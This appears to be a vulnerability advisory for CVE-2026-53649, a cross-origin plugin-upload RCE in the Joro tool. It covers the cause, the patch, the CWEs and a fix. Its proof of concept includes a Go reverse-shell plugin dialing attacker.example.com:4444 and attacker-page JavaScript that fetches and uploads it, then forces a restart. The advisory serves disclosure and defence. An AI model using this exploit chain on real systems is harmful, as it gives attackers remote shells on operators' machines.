CVE-2026-53649: Joro Unauthenticated Cross-Origin Plugin Upload RCE
Joro's default proxy mode exposed its local API with no authentication and a wildcard CORS policy, letting any webpage the operator visited silently upload a native plugin and trigger a restart to…
The problem
Joro <= v1.1.0 in default proxy mode binds its API on 127.0.0.1:9090 with zero authentication and Access-Control-Allow-Origin: * on every response. Because multipart/form-data is a CORS-safelisted content type, browsers send cross-origin POSTs to that API without a preflight, so any attacker-controlled page the operator visits can reach privileged endpoints freely.
The plugin upload endpoint (/api/v1/plugins/upload) accepts arbitrary .so files. Go's plugin.Open() in the loader runs the plugin's init() function before any symbol lookup, so a plugin with no exports still executes its payload the moment Joro restarts.
Chaining upload and restart gives an attacker unauthenticated RCE as the operator's user from a single page visit.
Proof of concept
A working proof-of-concept for CVE-2026-53649 in github.com/BishopFox/joro, with the exact payload below.
<!-- Attacker page: operator visits this, JavaScript does the rest -->
<!-- Step 1: build pwn.so (compile on attacker host matching Joro's release ABI) -->
<!-- pwn.go -->
// package main
// import (
// "net"
// "os/exec"
// )
// func init() {
// go func() {
// c, _ := net.Dial("tcp", "attacker.example.com:4444")
// cmd := exec.Command("/bin/bash", "-i")
// cmd.Stdin = c; cmd.Stdout = c; cmd.Stderr = c
// cmd.Run()
// }()
// }
<!-- Step 2: JavaScript on attacker page (no preflight, multipart/form-data is safelisted) -->
<script>
async function pwn() {
// Fetch the pre-built plugin from attacker origin (same-origin fetch, no CORS issue)
const blob = await fetch('https://attacker.example.com/pwn.so').then(r => r.blob());
// POST to Joro's unauthenticated API -- no preflight because multipart/form-data is CORS-safelisted
const fd = new FormData();
fd.append('plugin', blob, 'pwn.so');
await fetch('http://127.0.0.1:9090/api/v1/plugins/upload', {
method: 'POST',
body: fd
// No auth header needed. No CORS preflight triggered.
});
// Trigger restart; plugin init() fires, dials back to attacker listener
await fetch('http://127.0.0.1:9090/api/v1/system/restart', { method: 'POST' });
}
pwn();
</script>Three weaknesses chain into the exploit. First, internal/api/server.go only applied AuthMiddleware when listenerMode was true, leaving every proxy-mode endpoint open with no token or credential required. Second, corsMiddleware set Access-Control-Allow-Origin: * unconditionally, and because multipart/form-data is a CORS-safelisted content type, browsers skip the preflight entirely, so the loopback bind offered no real isolation against browser-mediated requests.
Third, internal/plugins/loader.go called plugin.Open() which executes init() before any symbol lookup, meaning a plugin with no exported symbols still runs its payload on restart.
The patch removes corsMiddleware entirely and replaces it with originGuard, which rejects state-changing requests whose Sec-Fetch-Site header is cross-site or same-site, and additionally validates that the Origin hostname matches the request Host.
The WebSocket upgrader's CheckOrigin was tightened the same way. A second commit forces the proxy-mode UI/API to bind on 127.0.0.1 regardless of --bind, and removes the wildcard exception in hostAllowed to close the DNS-rebinding path that would otherwise let a rebound hostname bypass the same-origin check.
CWE-306 (Missing Authentication), CWE-352 (CSRF), CWE-434 (Unrestricted Upload), CWE-942 (Permissive CORS).
The fix
Upgrade to Joro commit 5c0ca35db828 (pseudo-version 0.0.0-20260601151442-5c0ca35db828) or any later release. The fix removes the wildcard CORS middleware, adds an originGuard that enforces same-origin on all mutating requests using Sec-Fetch-Site and Origin/Host comparison, tightens the WebSocket origin check, forces the proxy-mode API to bind only on 127.0.0.1, and removes the wildcard exception in hostAllowed to block DNS rebinding.
If you cannot upgrade immediately, block outbound browser access to 127.0.0.1:9090 via a local firewall rule or browser extension as a temporary workaround.
Reported by cstover.
Related research
- critical · 9.1CVE-2026-62325CVE-2026-62325: goshs SFTP Authentication Bypass via Empty Password
- high · 7.4CVE-2026-53714CVE-2026-53714: Envoy Gateway xDS Authentication Bypass in GatewayNamespaceMode
- critical · 9.1CVE-2026-50006CVE-2026-50006: Anyquery Arbitrary File Write via Unrestricted ATTACH DATABASE in Server Mode
- high · 8.8CVE-2026-52800CVE-2026-52800: Gogs CSRF Leading to Organization Owner Takeover